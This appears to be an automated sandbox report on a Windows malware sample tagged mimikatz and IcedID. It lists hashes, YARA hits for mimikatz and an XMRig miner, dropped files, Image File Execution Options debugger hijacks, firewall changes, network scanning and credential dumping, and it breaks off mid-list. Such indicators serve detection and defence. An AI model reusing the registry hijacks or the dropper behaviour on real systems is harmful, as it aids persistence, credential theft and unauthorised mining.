Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
150s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240729-en -
resource tags
arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system -
submitted
31/07/2024, 08:52
Behavioral task
behavioral1
Sample
2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe
Resource
win10v2004-20240730-en
General
-
Target
2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe
-
Size
8.7MB
-
MD5
89e0dd7da27ee564ac33cdf193025dd2
-
SHA1
a6639a79a138b02d3828b3283ed18219f3fc8b85
-
SHA256
1c1ba072dd7cfeb44fa8e1f7ed01254627325dfccb6dd38725c2987e1d6b24be
-
SHA512
d618dac3e32c612af1a394d55468f79d640d7215cf7fdc6e94908388c38c815b380b0e79f7f7234083be59a32fd8a583c133e8cf57cc6fd8c2a4922a067f25b3
-
SSDEEP
196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1
Malware Config
Signatures
-
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 2816 created 1048 2816 gevvryv.exe 17 -
Contacts a large (28234) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
-
XMRig Miner payload 12 IoCs
resource yara_rule behavioral1/memory/576-200-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-221-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-225-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-234-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-236-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-237-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-252-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-263-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-264-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-266-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-267-0x000000013F210000-0x000000013F330000-memory.dmp xmrig behavioral1/memory/576-268-0x000000013F210000-0x000000013F330000-memory.dmp xmrig -
mimikatz is an open source tool to dump credentials on Windows 7 IoCs
resource yara_rule behavioral1/memory/2888-0-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2888-4-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/files/0x0007000000018780-5.dat mimikatz behavioral1/memory/2580-9-0x0000000000400000-0x0000000000A9B000-memory.dmp mimikatz behavioral1/memory/2540-134-0x0000000000F70000-0x000000000105E000-memory.dmp mimikatz behavioral1/memory/1472-138-0x000000013F140000-0x000000013F22E000-memory.dmp mimikatz behavioral1/memory/2816-220-0x0000000002EB0000-0x0000000002FD0000-memory.dmp mimikatz -
Drops file in Drivers directory 3 IoCs
description ioc Process File opened for modification C:\Windows\system32\drivers\etc\hosts gevvryv.exe File created C:\Windows\system32\drivers\npf.sys wpcap.exe File created C:\Windows\system32\drivers\etc\hosts gevvryv.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe gevvryv.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe" gevvryv.exe -
Modifies Windows Firewall 2 TTPs 2 IoCs
pid Process 2276 netsh.exe 2000 netsh.exe -
Executes dropped EXE 19 IoCs
pid Process 2580 gevvryv.exe 2816 gevvryv.exe 1116 wpcap.exe 1288 iiaelmmve.exe 1472 vfshost.exe 2960 sbigaauav.exe 1500 xohudmc.exe 2036 dqljao.exe 576 riflvg.exe 2992 sbigaauav.exe 1600 sbigaauav.exe 2544 sbigaauav.exe 2624 sbigaauav.exe 2688 sbigaauav.exe 2500 sbigaauav.exe 2908 sbigaauav.exe 2240 gevvryv.exe 488 rkgteichq.exe 3964 gevvryv.exe -
Loads dropped DLL 25 IoCs
pid Process 2396 cmd.exe 2396 cmd.exe 2040 cmd.exe 1116 wpcap.exe 1116 wpcap.exe 1116 wpcap.exe 1116 wpcap.exe 1116 wpcap.exe 1144 cmd.exe 1288 iiaelmmve.exe 1288 iiaelmmve.exe 2540 cmd.exe 2540 cmd.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 2816 gevvryv.exe 584 cmd.exe -
resource yara_rule behavioral1/files/0x000500000001a4e0-132.dat upx behavioral1/memory/1472-136-0x000000013F140000-0x000000013F22E000-memory.dmp upx behavioral1/memory/1472-138-0x000000013F140000-0x000000013F22E000-memory.dmp upx behavioral1/files/0x000500000001a4f1-140.dat upx behavioral1/memory/2960-144-0x000000013F320000-0x000000013F37B000-memory.dmp upx behavioral1/files/0x000500000001a50b-163.dat upx behavioral1/memory/2816-166-0x0000000002EB0000-0x0000000002FD0000-memory.dmp upx behavioral1/memory/576-167-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/2960-173-0x000000013F320000-0x000000013F37B000-memory.dmp upx behavioral1/memory/2992-179-0x000000013F670000-0x000000013F6CB000-memory.dmp upx behavioral1/memory/2992-181-0x000000013F670000-0x000000013F6CB000-memory.dmp upx behavioral1/memory/1600-186-0x000000013FD90000-0x000000013FDEB000-memory.dmp upx behavioral1/memory/1600-188-0x000000013FD90000-0x000000013FDEB000-memory.dmp upx behavioral1/memory/2544-193-0x000000013F9D0000-0x000000013FA2B000-memory.dmp upx behavioral1/memory/2544-195-0x000000013F9D0000-0x000000013FA2B000-memory.dmp upx behavioral1/memory/576-200-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/2624-201-0x000000013FE50000-0x000000013FEAB000-memory.dmp upx behavioral1/memory/2624-203-0x000000013FE50000-0x000000013FEAB000-memory.dmp upx behavioral1/memory/2688-208-0x000000013FDA0000-0x000000013FDFB000-memory.dmp upx behavioral1/memory/2688-210-0x000000013FDA0000-0x000000013FDFB000-memory.dmp upx behavioral1/memory/2500-216-0x000000013F530000-0x000000013F58B000-memory.dmp upx behavioral1/memory/2500-218-0x000000013F530000-0x000000013F58B000-memory.dmp upx behavioral1/memory/576-221-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/2908-226-0x000000013F650000-0x000000013F6AB000-memory.dmp upx behavioral1/memory/576-225-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/2908-228-0x000000013F650000-0x000000013F6AB000-memory.dmp upx behavioral1/memory/576-234-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/576-236-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/576-237-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/576-252-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/576-263-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/576-264-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/576-266-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/576-267-0x000000013F210000-0x000000013F330000-memory.dmp upx behavioral1/memory/576-268-0x000000013F210000-0x000000013F330000-memory.dmp upx -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 19 ifconfig.me 20 ifconfig.me -
Creates a Windows Service
-
Drops file in System32 directory 12 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\dqljao.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751 gevvryv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751 gevvryv.exe File created C:\Windows\SysWOW64\Packet.dll wpcap.exe File created C:\Windows\system32\wpcap.dll wpcap.exe File created C:\Windows\SysWOW64\wpcap.dll wpcap.exe File created C:\Windows\system32\Packet.dll wpcap.exe File created C:\Windows\SysWOW64\dqljao.exe xohudmc.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2DEAA270F2A3ADDABB8505E3C5BD28E8 gevvryv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2DEAA270F2A3ADDABB8505E3C5BD28E8 gevvryv.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat gevvryv.exe File created C:\Windows\SysWOW64\pthreadVC.dll wpcap.exe -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\WinPcap\rpcapd.exe wpcap.exe File created C:\Program Files\WinPcap\LICENSE wpcap.exe File created C:\Program Files\WinPcap\uninstall.exe wpcap.exe -
Drops file in Windows directory 60 IoCs
description ioc Process File created C:\Windows\lcrephtiz\UnattendGC\specials\docmicfg.exe gevvryv.exe File opened for modification C:\Windows\lcrephtiz\Corporate\log.txt cmd.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\ucl.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\tucl-1.dll gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\ip.txt gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\trfo-2.dll gevvryv.exe File created C:\Windows\lcrephtiz\Corporate\mimilib.dll gevvryv.exe File created C:\Windows\mitkhive\docmicfg.xml gevvryv.exe File created C:\Windows\mitkhive\svschost.xml gevvryv.exe File opened for modification C:\Windows\mitkhive\spoolsrv.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\cnli-1.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\ssleay32.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\tibe-2.dll gevvryv.exe File opened for modification C:\Windows\lcrephtiz\ebttsfbtk\Result.txt rkgteichq.exe File created C:\Windows\lcrephtiz\ebttsfbtk\rkgteichq.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\coli-0.dll gevvryv.exe File created C:\Windows\mitkhive\spoolsrv.xml gevvryv.exe File created C:\Windows\ime\gevvryv.exe gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\wpcap.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\vimpcsvc.xml gevvryv.exe File opened for modification C:\Windows\mitkhive\schoedcl.xml gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\scan.bat gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\spoolsrv.exe gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\Packet.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\schoedcl.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\docmicfg.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\schoedcl.xml gevvryv.exe File created C:\Windows\mitkhive\schoedcl.xml gevvryv.exe File opened for modification C:\Windows\mitkhive\docmicfg.xml gevvryv.exe File created C:\Windows\lcrephtiz\upbdrjv\swrpwe.exe gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\iiaelmmve.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\zlib1.dll gevvryv.exe File opened for modification C:\Windows\mitkhive\svschost.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\Shellcode.ini gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\libxml2.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\svschost.exe gevvryv.exe File created C:\Windows\mitkhive\vimpcsvc.xml gevvryv.exe File created C:\Windows\lcrephtiz\ebttsfbtk\wpcap.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\vimpcsvc.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\spoolsrv.xml gevvryv.exe File opened for modification C:\Windows\mitkhive\vimpcsvc.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\libeay32.dll gevvryv.exe File opened for modification C:\Windows\lcrephtiz\ebttsfbtk\Packet.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\exma-1.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\posh-0.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\xdvl-0.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\svschost.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\docmicfg.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\AppCapture32.dll gevvryv.exe File created C:\Windows\mitkhive\gevvryv.exe 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe File created C:\Windows\lcrephtiz\Corporate\vfshost.exe gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\trch-1.dll gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\spoolsrv.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\schoedcl.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\svschost.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\AppCapture64.dll gevvryv.exe File created C:\Windows\lcrephtiz\Corporate\mimidrv.sys gevvryv.exe File opened for modification C:\Windows\mitkhive\gevvryv.exe 2024-07-31_89e0dd7da27ee564ac33cdf193025dd2_hacktools_icedid_mimikatz.exe File created C:\Windows\lcrephtiz\UnattendGC\vimpcsvc.xml gevvryv.exe File created C:\Windows\lcrephtiz\UnattendGC\specials\crli-0.dll gevvryv.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1560 sc.exe 1684 sc.exe 1112 sc.exe 792 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language dqljao.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rkgteichq.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cacls.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language wpcap.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened 